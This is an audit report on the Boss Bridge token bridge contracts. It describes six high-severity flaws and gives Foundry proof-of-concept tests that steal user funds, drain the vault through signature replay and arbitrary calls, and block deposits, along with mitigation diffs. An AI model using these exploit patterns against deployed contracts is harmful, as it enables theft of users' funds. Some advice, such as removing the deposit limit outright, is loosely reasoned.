Boss Bridge Protocol Audit Report

Prepared by: Tadeo

Table of Contents

Protocol Summary

Boss Bridge is a simple bridge mechanism to move our ERC20 token from L1 to an L2; allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

The Tadeo team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
└── L1BossBridge.sol
└── L1Token.sol
└── L1Vault.sol
└── TokenFactory.sol
```

Roles

- The owner of the bridge can pause operations in emergency situations.
- User can deposit and withdraw tokens from the bridge in the target chain.

Executive Summary

It took 20 hours to audit the code, and 8 vulnerabilities were found in the code. The entire audit was done under manual review.

Issues found

Severity	Numbers of issues found
High	6
Mdium	0
Low	0
Info	1
Gas	1
Total	8

Findings

High

[H-1] In `L1Vault::approveTo` ignores return value by `token.approve`

Description It ignores the return of the approve function, which means they don't know if it failed, assuming it was always successful. This would result in the tokens being locked in the vault and unable to be withdrawn since the bridge requires the approve to move them.

Impact The tokens would be locked until a new bridge contract is deployed with the current vault to move the funds. This time, hoping that the approve function will be successful.

Recommended mitigation Validate and check the return value of the approve function in `L1Vault::approveTo`; if it fails, revert the call.

```
+   error approveFailed();
    .
    .
    .
    function approveTo(address target, uint256 amount) external onlyOwner
{
-       token.approve(target, amount);
+       bool success = token.approve(target, amount);
+       if(!success){
+           revert approveFailed();
+       }
    }
```

[H-2] In `L1BossBridge::depositTokensToL2` permit arbitrary from in transferfrom

Description It allows an attacker to move the funds of other users who have generated the approve to the bridge when using it.

Impact Steal all the users funds.

Proof of Concepts Add this test in `test/L1TokenBridge.t.sol`:

1. User approve bridge when using the first time.
2. The attacker can frontrun the user before they call `depositTokensToL2` and steal all the users' tokens.

```
    function testAttackerCanStealMoney() public {
        uint256 amount = 1000e18;
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        address attacker = makeAddr("attacker");

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, amount);
        tokenBridge.depositTokensToL2(user, attacker, amount);
        vm.stopPrank();
```

```
        assertEq(token.balanceOf(address(tokenBridge)), 0);
        assertEq(token.balanceOf(address(vault)), amount);
        assertEq(token.balanceOf(address(user)), 0);
        console2.logUint(token.balanceOf(address(user)));
    }
```

Recommended mitigation Use `msg.sender` and remove the `address from` input from the function.

```
-    function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
-       emit Deposit(from, l2Recipient, amount);
    }

+    function depositTokensToL2(address l2Recipient, uint256 amount)
external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+       token.safeTransferFrom(msg.sender, address(vault), amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-3] Due to the arbitrary from in `L1BossBridge::depositTokensToL2`, I can move the vault's funds indefinitely.

Description Due to the arbitrary from in `L1BossBridge::depositTokensToL2`, I can move the vault's funds indefinitely by looping deposits in the bridge. This will cause tokens to be minted, allowing me to steal the same amount of tokens on the destination L2.

Impact Steal the funds and block the bridge.

Proof of Concepts Add this test in `test/L1TokenBridge.t.sol`:

1. The attacker can call `depositTokensToL2` indefinitely by looping deposits in the bridge.
2. Stop the loop before reaching the `L1BossBridge::DEPOSIT_LIMIT`.
3. The receive all the tokens in the L2 destination chain.

```
 function testAttackerCanStealVaultsTokensAndMintInfinityAmountInL2()
public {
        uint256 amount = 1000e18;
        deal(address(token),address(vault),amount);

        address attacker = makeAddr("attacker");
```

```
        for(uint i = 0; i < 20; i++){
            vm.prank(attacker);
            vm.expectEmit(address(tokenBridge));
            emit Deposit(address(vault), attacker, amount);
            tokenBridge.depositTokensToL2(address(vault), attacker,
amount);
            assertEq(token.balanceOf(address(tokenBridge)), 0);
            assertEq(token.balanceOf(address(vault)), amount);
        }
    }
```

Recommended mitigation Use `msg.sender` and remove the `address from` input from the function.

[H-4] `L1BossBridge::withdrawTokensToL1` function can be attacked by replay signature until the vault is emptied.

Description An attacker can make a deposit and a withdrawal to obtain the signature and then use it repeatedly until the vault is emptied.

Impact Can steal from all vault funds

Proof of Concepts Add this test in `test/L1TokenBridge.t.sol`:

1. The attacker can call `depositTokensToL2`.
2. The attacker can call `withdrawTokensToL1`.
3. The attacker use the signature repeatedly until the vault is emptied.

```
    function testSignReplayAttack() public {
        uint256 amount = 1000e18;
        deal(address(token),address(vault),amount);
        uint256 stealAmount = 500e18;
        address attacker = makeAddr("attacker");
        deal(address(token),address(attacker),stealAmount);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);

        tokenBridge.depositTokensToL2(attacker,attacker,stealAmount);

        for(uint i = 0; i < 3; i++){
            (uint8 v, bytes32 r, bytes32 s) =
_signMessage(_getTokenWithdrawalMessage(attacker, stealAmount),
operator.key);
            tokenBridge.withdrawTokensToL1(attacker, stealAmount, v, r,
s);
        }

        assertEq(token.balanceOf(attacker), (amount + stealAmount));
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended mitigation To prevent this bug, we can:

1. Use a one-time nonce in the signature message and keep track of its usage.
2. Use a deadline in the signature message to make it expire.
3. Use a mapping in the contract (address => bool) that stores the used signatures and validate in `withdrawTokensToL1` function if it has already been used.

[H-5] `L1BossBridge::sendToL1` allows the reception of arbitrary messages.

Description Inputs can be sent to execute arbitrary or malicious messages, such as approving the vault to the attacker's address.

Impact THe attacker can steal the token's vault.

Proof of Concepts Add this test in `test/L1TokenBridge.t.sol`:

1. The attacker can call `sendToL1` with the call to approve function in the token contract.
2. The attacker can call `L1Token::transferFrom` and steal all the tokens in the vault.

```
    function testSignArbitraryMesssageData() public{
        address attacker = makeAddr("attacker");

        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(attacker, attacker, 0);
        tokenBridge.depositTokensToL2(attacker, attacker, 0);

        bytes memory message = abi.encode(
            address(vault),
            0,
            abi.encodeCall(L1Vault.approveTo, (address(attacker),
type(uint256).max))
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        token.transferFrom(address(vault), attacker,
token.balanceOf(address(vault)));

        assertEq(token.balanceOf(address(vault)),0);
        assertEq(token.balanceOf(attacker),vaultInitialBalance);
    }
```

Recommended mitigation The protocol can make to actions:

1. Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

2. The other option is to change the `sendToL1` function to internal or private.

```
- function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
public nonReentrant whenNotPaused {

+ function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
private {
```

[H-6] In `L1BossBridge::depositTokensToL2` the `DEPOSIT_LIMIT` makes the `L1BossBridge`contract susceptible to a DDOS attack.

Description Helped by the issue reported in H-2 and H-3, allowing arbitrary from in transferFrom, the attacker can steal the other users token and block the bridge by reaching the maximum deposit limit (`L1BossBridge::DEPOSIT_LIMIT`).

Impact Block the bridge by reaching the maximum deposit limit (`L1BossBridge::DEPOSIT_LIMIT`).

Proof of Concepts Add this test in `test/L1TokenBridge.t.sol`:

1. The attacker can frontrun the user deposit and call `depositTokensToL2`.
2. When the `L1BossBridge` reach the `DEPOSIT_LIMIT` the contract is blocked.
3. Future users can't make a deposit in the `L1BossBridge` contract.

```
    function testAttackerCanStealBlockTheBridge() public {
        uint256 amount = 20000e18;

        address attacker = makeAddr("attacker");
        uint256 i;

        while(token.balanceOf(address(vault)) <
tokenBridge.DEPOSIT_LIMIT()){
            i = i + 1;
            address victim = vm.addr(i);
            deal(address(token), victim, amount);
            vm.prank(victim);
            token.approve(address(tokenBridge), type(uint256).max);
            vm.prank(attacker);
            vm.expectEmit(address(tokenBridge));
            emit Deposit(victim, attacker, amount);
            tokenBridge.depositTokensToL2(victim, attacker, amount);
        }

        vm.prank(user);
        vm.expectRevert();
        tokenBridge.depositTokensToL2(address(vault), userInL2, 100e18);
    }
```

Recommended mitigation My recommendation would be to remove the deposit limit.

```
-  uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

Informational

[I-1] `L1BossBridge::depositTokensToL2` should follow CEI pattern

Description This function should emit the `Deposit` event before transfer the tokens to the vault.

```
    function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        token.safeTransferFrom(from, address(vault), amount);
-       // Our off-chain service picks up this event and mints the
corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
    }

    function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+       // Our off-chain service picks up this event and mints the
corresponding tokens on L2
+       emit Deposit(from, l2Recipient, amount);
        token.safeTransferFrom(from, address(vault), amount);
    }
```

Gas

[G-2] `L1Vault` the token shoul be immutable.

Description In the vault the token should be immutable, for gas optimization purposes in the contract deployment.